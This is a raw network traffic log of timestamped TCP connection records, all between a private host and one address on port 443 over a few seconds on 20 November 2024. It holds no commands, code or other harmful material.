Nov 20, 2024 00:19:44.440140963 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.440337896 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.440382004 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.440403938 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.440443039 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.440561056 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.440561056 CET	50028	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.440589905 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.440613031 CET	443	50028	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.443104982 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.443135977 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.443386078 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.444032907 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.444060087 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.885966063 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.886593103 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.886615992 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.887226105 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.887229919 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.960661888 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.961124897 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.961174965 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.961616039 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.961622953 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.983374119 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.983736038 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.983758926 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.984481096 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.984486103 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.988228083 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.988477945 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.988545895 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.988562107 CET	50031	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.988569021 CET	443	50031	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.990989923 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.991002083 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.991012096 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.991084099 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.991308928 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.991321087 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.991420031 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.991457939 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:44.991837025 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:44.991848946 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.071995974 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.072073936 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.072232962 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.072386026 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.072408915 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.072424889 CET	50034	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.072432041 CET	443	50034	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.075190067 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.075221062 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.075397968 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.075625896 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.075639009 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.091908932 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.092284918 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094019890 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094175100 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.094264030 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.094269991 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094310999 CET	50036	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.094316006 CET	443	50036	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094335079 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094393015 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094455004 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.094502926 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.094502926 CET	50035	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.094530106 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.094547033 CET	443	50035	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.097165108 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.097194910 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.097219944 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.097260952 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.097289085 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.097313881 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.097415924 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.097429037 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.097527981 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.097544909 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.131364107 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.131844997 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.131855965 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.132286072 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.132292986 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.238224983 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.238253117 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.238307953 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.238321066 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.238390923 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.244540930 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.244589090 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.244616985 CET	50037	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.244628906 CET	443	50037	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.248435020 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.248483896 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.248558044 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.249155045 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.249171019 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.646775007 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.654944897 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.654969931 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.655425072 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.655428886 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.745778084 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.746293068 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.746316910 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.746761084 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.746772051 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.751123905 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.751449108 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.751485109 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.751836061 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.751851082 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.755620003 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.756006956 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.756099939 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.756138086 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.756138086 CET	50038	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.756155968 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.756170988 CET	443	50038	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.758583069 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.758627892 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.758693933 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.758898973 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.758908987 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.790111065 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.790786982 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.790806055 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.791223049 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.791230917 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.852915049 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.852986097 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.853069067 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.853270054 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.853300095 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.853328943 CET	50039	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.853343010 CET	443	50039	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.855473995 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.856293917 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.856329918 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.856367111 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.856447935 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.856446981 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.856570005 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.856592894 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.856595039 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.856606960 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.856611967 CET	50040	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.856618881 CET	443	50040	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.858669996 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.858683109 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.858855963 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.859081030 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.859090090 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.897535086 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.897588015 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.897635937 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.897682905 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.897789955 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.897811890 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.897825956 CET	50041	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.897834063 CET	443	50041	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.900459051 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.900522947 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.900643110 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.900829077 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.900872946 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.912003040 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.912354946 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.912377119 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:45.912903070 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:45.912916899 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.019990921 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.021583080 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.021644115 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.021677971 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.021694899 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.021708012 CET	50042	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.021714926 CET	443	50042	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.024528027 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.024564981 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.024771929 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.024954081 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.024967909 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.429328918 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.429821968 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.429838896 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.430275917 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.430283070 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.521183014 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.521611929 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.521639109 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.522044897 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.522049904 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.522169113 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.522564888 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.522592068 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.523061991 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.523066998 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.535964966 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.536170006 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.536211014 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.536221981 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.536236048 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.536284924 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.536305904 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.536319971 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.536329985 CET	50043	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.536339998 CET	443	50043	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.540503025 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.540528059 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.540586948 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.540729046 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.540736914 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.570733070 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.571171045 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.571178913 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.571624994 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.571629047 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.626367092 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.626974106 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.627032042 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.627090931 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.627104998 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.627114058 CET	50044	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.627121925 CET	443	50044	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.628890991 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.628925085 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.628983021 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.629014015 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.629057884 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.629251003 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.629265070 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.629280090 CET	50045	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.629287004 CET	443	50045	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.629832983 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.629872084 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.629946947 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.630172968 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.630189896 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.631537914 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.631566048 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.631716967 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.631844044 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.631851912 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.680577993 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.680994987 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.681047916 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.681102037 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.681109905 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.681118965 CET	50046	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.681123018 CET	443	50046	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.683643103 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.683656931 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.683712006 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.683866024 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.683875084 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.708508968 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.709029913 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.709043980 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.709393978 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.709398985 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.815709114 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.816025972 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.816102982 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.819082022 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.819103003 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.819118023 CET	50047	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.819124937 CET	443	50047	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.822292089 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.822321892 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:46.822478056 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.822823048 CET	50053	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:46.822835922 CET	443	50053	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.219368935 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.219997883 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.220019102 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.220648050 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.220659018 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.320172071 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.320517063 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.320638895 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.320660114 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.321090937 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.321096897 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.321880102 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.321891069 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.322257996 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.322271109 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.327162981 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.327286005 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.327413082 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.327455044 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.327455044 CET	50049	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.327477932 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.327487946 CET	443	50049	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.330077887 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.330120087 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.330431938 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.330485106 CET	50055	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.330493927 CET	443	50055	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.351525068 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.352550030 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.352550030 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.352591038 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.352607965 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.422630072 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.422724009 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.422791004 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.422812939 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.422892094 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.422945023 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.423044920 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.423058987 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.423067093 CET	50050	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.423074007 CET	443	50050	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.425472021 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.425566912 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.425688028 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.425870895 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.425870895 CET	50051	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.425877094 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.425883055 CET	443	50051	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.425976038 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.426008940 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.427299976 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.427438021 CET	50056	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.427447081 CET	443	50056	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.428231001 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.428267002 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.428320885 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.428474903 CET	50057	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.428484917 CET	443	50057	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.470192909 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.470818996 CET	443	50052	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:47.470885038 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.470918894 CET	50052	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:47.470932961 CET	443	50052	13.107.246.45	192.168.2.6
